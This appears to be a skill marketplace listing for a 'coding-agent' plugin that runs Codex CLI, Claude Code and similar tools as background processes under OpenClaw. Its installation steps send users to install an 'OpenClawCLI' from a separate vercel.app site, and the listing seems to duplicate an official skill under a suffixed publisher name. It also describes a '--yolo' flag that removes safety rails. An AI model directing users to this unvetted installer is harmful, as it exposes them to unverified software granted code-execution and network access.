coding-agent
Run Codex CLI, Claude Code, OpenCode, or Pi Coding Agent via background process for programmatic control.
Why use this skill?
Integrate Codex, Claude Code, and more into OpenClaw. Streamline PR reviews, automate code generation, and manage background coding agents safely.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/thiagoruss0/coding-agentem9akWhat This Skill Does
The coding-agent skill is a powerful automation bridge that allows OpenClaw to orchestrate external coding agents such as Codex CLI, Claude Code, and OpenCode. By leveraging background processes and specific working directories, it enables programmatic control over software development tasks, ranging from feature scaffolding to automated PR reviews and batch processing, all while maintaining the integrity of your primary workspace.
Installation
- First, install the OpenClawCLI from openclawcli.vercel.app.
- Open your terminal and run the following command to integrate the skill:
clawhub install openclaw/skills/skills/thiagoruss0/coding-agentem9ak - Ensure your local environment variables and configurations (like ~/.codex/config.toml) are initialized before first use.
Use Cases
- Automated Feature Scaffolding: Quickly spin up boilerplate code for new projects or components in a sandboxed scratch directory.
- Continuous PR Reviews: Integrate the agent into your CI/CD workflow to perform initial reviews on pull requests using git worktrees or temporary clones to ensure project safety.
- Background Coding Tasks: Delegate long-running refactoring or code generation tasks to background processes so you can continue interacting with OpenClaw concurrently.
- Batch Processing: Run parallel reviews or refactors across multiple repositories by leveraging the system's ability to spawn multiple non-interactive background sessions.
Example Prompts
- "Open a background coding session in ~/work/web-app and use Codex to generate a responsive landing page component based on the specs in design.md."
- "Monitor the background session for the PR review in /tmp/pr-review-130 and report back when the analysis is complete."
- "Start a full-auto background task in a new temp directory to prototype a Python data parser that reads CSV files."
Tips & Limitations
- Prioritize Security: The
--yoloflag is extremely powerful but removes all safety rails. Only use it on disposable, non-production codebases. Prefer--full-autofor sandboxed development. - Workspace Hygiene: Always use the
workdirparameter to isolate the agent. Never allow an agent to run inside your core agent configuration folder to prevent accidental modification of your own infrastructure. - Session Management: Keep track of your
sessionIdto poll for completion. Orphaned background processes can consume significant system resources if not cleaned up with thekillaction.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-thiagoruss0-coding-agentem9ak": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write, file-read, code-execution
Related Skills
n8n
Manage n8n workflows and automations via API. Use when working with n8n workflows, executions, or automation tasks - listing workflows, activating/deactivating, checking execution status, manually triggering workflows, or debugging automation issues.
Read WeChat local data from SQLite databases. Supports listing contacts, chat sessions, searching messages, and viewing favorites. Use when the user needs to access their own WeChat data stored locally. Requires access to WeChat data directory. Read-only operations only.
coding-agent
Run Codex CLI, Claude Code, OpenCode, or Pi Coding Agent via background process for programmatic control.
veo3-gen
Generate and stitch short videos via Google Veo 3.x using the Gemini API (google-genai). Use when you need to create video clips from prompts (ads, UGC-style clips, product demos) and want a reproducible CLI workflow (generate, poll, download MP4, optionally stitch multiple segments).
jira
Jira API integration with managed OAuth. Search issues with JQL, create and update issues, manage projects and transitions. Use this skill when users want to interact with Jira issues, projects, or workflows. For other third party apps, use the api-gateway skill (https://clawhub.ai/byungkyu/api-gateway).